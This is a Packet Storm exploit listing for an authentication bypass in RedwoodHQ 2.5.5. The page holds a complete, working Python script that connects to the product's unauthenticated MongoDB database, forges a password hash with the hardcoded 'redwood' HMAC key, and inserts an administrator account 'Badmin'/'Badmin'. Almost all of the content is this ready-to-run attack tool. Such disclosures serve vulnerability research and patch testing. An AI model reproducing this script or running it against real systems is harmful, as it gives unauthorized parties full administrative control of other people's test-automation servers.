what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

RedwoodHQ 2.5.5 Authentication Bypass

RedwoodHQ 2.5.5 Authentication Bypass
Posted Jun 16, 2019
Authored by EthicalHCOP

RedwoodHQ version 2.5.5 suffers from an authentication bypass vulnerability.

tags | exploit, bypass
SHA-256 | 05e5d0e5754bdceb7572de04d988d22e95d438c8d585d6cbca2e88f10ea57389

RedwoodHQ 2.5.5 Authentication Bypass

Change Mirror Download
# -*- encoding: utf-8 -*-
#!/usr/bin/python3

# Exploit Title: RedxploitHQ (Create Admin User by missing authentication on db)
# Date: 14-june-2019
# Exploit Author: EthicalHCOP
# Version: 2.0 / 2.5.5
# Vendor Homepage: https://redwoodhq.com/
# Software Link: https://redwoodhq.com/redwood-download/
# Tested on: Ubuntu and Windows.
# Twitter: @EthicalHcop
# Usage: python3 RedxploitHQ.py -H mongo_host -P mongo_port
# Description: Use RedxploitHQ to create a new Admin user into redwoodhq and get all the functions on the framework
#
# RedwoodHQ doesn't require that MongoDB is installed on the machine because this tool have her own Mongo Launcher.
# The problem is that this vendor database doesn't require any authentication to read her data.
# So, I use the same syntax that use the Framework to create my admin user on the database and access into the tool
#
# POC: https://youtu.be/MK9AvoJDtxY

import hashlib
import hmac
import optparse
from pymongo import MongoClient

def CreateHMAC(Pass):
message = bytes(Pass,encoding='utf8')
secret = bytes('redwood',encoding='utf8')
hash = hmac.new(secret, message, hashlib.md5)
return (hash.hexdigest())

def DbConnect(ip,port):
uri = "mongodb://" + ip + ":" + port + "/"
con = MongoClient(uri)
return con

def DbDisconnect(con):
con.close()

def CreateBadminUser(ip, port, user, passw):
con = DbConnect(ip, port)
db = con.automationframework
usr = db.users
passw = CreateHMAC(passw)
data = {
"name": user,
"password": passw,
"tag": [],
"role": "Admin",
"username": user,
"status": ""
}
usr.insert_one(data)
DbDisconnect(con)

def start():
parser = optparse.OptionParser('usage %prog ' + \
'-H host -P port')
parser.add_option('-P', '--Port', dest='port', type='string', \
help='MongoDB Port')
parser.add_option('-H', '--Host', dest='host', type='string', \
help='MongoDB Host')
(options, args) = parser.parse_args()
ip = options.host
port = options.port
if (str(ip) == "None"):
print("Insert Host")
exit(0)
if (str(port) == "None"):
port = "27017"
try:
CreateBadminUser(str(ip), str(port), 'Badmin', 'Badmin')
print("[+] New user 'Badmin'/'Badmin' created.")
except Exception as e:
print("[-] Can't create the 'Badmin'/'Badmin' user. Error: "+str(e))

if __name__ == '__main__':
start()
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close